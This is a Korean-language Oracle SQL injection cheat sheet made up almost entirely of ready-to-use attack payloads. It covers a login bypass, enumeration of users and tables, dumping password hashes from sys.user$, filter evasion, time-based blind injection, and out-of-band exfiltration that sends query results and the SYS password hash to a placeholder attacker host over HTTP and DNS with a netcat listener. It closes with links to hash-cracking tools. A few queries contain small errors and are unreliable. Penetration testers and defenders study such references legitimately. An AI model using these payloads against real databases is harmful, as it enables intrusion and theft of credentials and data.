Oracle Injection Cheatsheet

기본 데이터베이스

SYSTEM
SYSAUX

주의사항

• 다음 내용은 웹 브라우저에서 직접 변수의 값을 수정하거나 프록시를 이용해서 값을 전달할 때 반드시 적용해야 합니다.

&, =	두 문자 모두 HTTP 쿼리 문자열과 POST 데이터에서 이름과 변수의 쌍을 연결할 때 사용합니다. 해당 문자들을 인젝션 구문에 사용하기 위해서는 각각 %26 과 %3d 로 인코딩 해야합니다.
(SPACE)	일반적으로 인젝션 구문에서 스페이스를 포함하고 있으면 스페이스 앞에서 공격 구문을 종료합니다. 따라서 스페이스는 %20 으로 인코딩 해야합니다.
+	URL 인코딩 시 빈 칸(SPACE)으로 사용하기 때문에 문자 + 를 인젝션 구문에 사용하기 위해서는 %2b 로 인코딩 해야합니다.
;	세미콜론은 쿠키 필드에서 구분 문자로 사용하기 때문에 %3b 로 인코딩 해야합니다.

인젝션 테스트

1) 형 변환

(utl_inaddr.get_host_address((select user from DUAL))) **• 사용자 정수 입력 부분에 문자를 입력해 에러를 유발합니다.**
+ (utl_inaddr.get_host_address((select user from DUAL))) + ' **• 사용자 문자 입력 부분에 숫자를 입력해 에러를 유발합니다.**

2) 숫자

SELECT * FROM Table WHERE id = 1;	
65-0	취약할 경우 65 을 반환합니다.
65 - (SELECT ASCII('A'))	취약할 경우 0 을 반환합니다.
SELECT * FROM Users WHERE id = 3-2;	

주석

• 다음에 오는 문자는 인젝션 구문에서 주석을 나타냅니다.

-- (SQL 주석)
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';

버전 테스트

```
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
```

데이터베이스 자격 증명

```
SELECT username FROM all_users;
SELECT name, password from sys.user$;
```
• 권한을 요구하며, Oracle 10g 이하에서 가능합니다.

```
SELECT name, spare4 from sys.user$;
```
• 권한을 요구하며, Oracle 11g 이하에서 가능합니다.

데이터베이스 이름

1) 현재 사용 중인 데이터베이스

```
SELECT name FROM v$database;
SELECT instance_name FROM v$instance
SELECT global_name FROM global_name
SELECT SYS.DATABASE_NAME FROM DUAL
```

2) 사용자 데이터베이스

```
SELECT DISTINCT owner FROM all_tables;
```

서버 호스트 이름

```
SELECT host_name FROM v$instance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual;
```

테이블(Tables)과 컬럼(Columns)

1) 테이블 이름 가져오기

```
SELECT table_name FROM all_tables;
```

2) 컬럼 이름 가져오기

```
SELECT column_name FROM all_tab_columns;
```

3) N 번째 행의 컬럼 정보 가져오기

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; • 9 번째 행의 정보를 가져옵니다. (행은 1 번부터 시작합니다.)

4) 다수의 테이블 이름 한번에 가져오기

SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables;

5) 컬럼 이름에서 테이블 이름 검색

SELECT table_name FROM all_tab_tables WHERE column_name = 'password';	password 컬럼의 테이블 이름을 검색합니다.

6) 테이블 이름에서 컬럼 이름 검색

SELECT column_name FROM all_tab_columns WHERE table_name = 'Users';	Users 테이블 내 컬럼 이름을 검색합니다.

문자열 조작 - 퍼징(Fuzzing) - 난독화(Obfuscation)

1) 쿼터 필터링(Filtering) 우회

SELECT 0x09120911091 FROM dual;	Hex 인코딩을 사용합니다.
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;	CHR() 함수를 사용하여 ASCII 코드로 변경합니다. • SELECT CHAR(65); # A를 반환합니다.

2) 문자열 연결

• 두 개의 싱글 쿼터 사이에 || 문자가 있습니다.
• 문자열 필터링을 우회하는 데 사용합니다.

SELECT 'a'||'d'||'mi'||'n' FROM dual;

시간 지연

존재하지 않는 URL 이용
?ProductID=(SELECT 'a'||UTL_HTTP.REQUEST('http://존재하지 않는 URL') FROM dual WHERE (SELECT username FROM all_users WHERE username = 'DBSNMP') = 'DBSNMP') • 기본 오라클 계정인 DBSNMP 가 존재할 경우 시간 지연이 발생합니다.
DBMS_PIPE.RECEIVE_MESSAGE
?ProductID=(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION POINT}),1,1)),0) = 100) THEN DBMS_PIPE.RECEIVE_MESSAGE(('문자열'),14) ELSE DBMS_PIPE.RECEIVE_MESSAGE(('문자열'),1) END FROM dual) • SUBSTR() 함수로 받은 문자가 d 일 때, 서버로부터 응답이 14 초 지연되며 d 가 아닐 경우 1 초가 지연됩니다.

Out Of Band 채널링(Channeling)

• SQLI 구문 실행 후 데이터베이스로부터 얻은 임의의 데이터를 공격자 자신의 컴퓨터로 전송하기 위해 데이터베이스의 내장된 기능을 이용하는 방법입니다.

• 두 번째 예제의 경우 DNS 서버를 구성하고 있어야 합니다.
• SQLI 의 실행 결과를 애플리케이션이 노출하지 않을 때 사용합니다.

?ProductID=(SELECT UTL_HTTP.REQUEST('yourhost.com:80/='||({INJECTION POINT})||'') FROM DUAL)	
INJECTION POINT	> nc -nLp 80
SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3D1	GET /SYS HTTP/1.1 Host: yourhost,com Connection: close
?ProductID=(SELECT UTL_INADDR.get_host_addr(({INJECTION POINT})||'.yourhost.com') FROM DUAL)	
INJECTION POINT	DNS 요청 결과
SELECT%20PASSWORD%20FROM%20DBA_USERS%20WHERE%20USERNAME='SYS'	DCB748A5BC5390F2.yourhost.com • SYS 사용자 비밀번호에 대한 해시

조건부 구문

함수	예제
CASE	SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual; • TRUE 를 반환합니다.

패스워드 크래킹(Cracking) 도구

도구	URL
Checkpwd • DES 기반 해시 크래커 입니다.	http://www.red-database-security.com/software/checkpwd.html
Metasploit 모듈 JTR	http://www.metasploit.com/modules/auxiliary/analyze/jtr_oracle_fast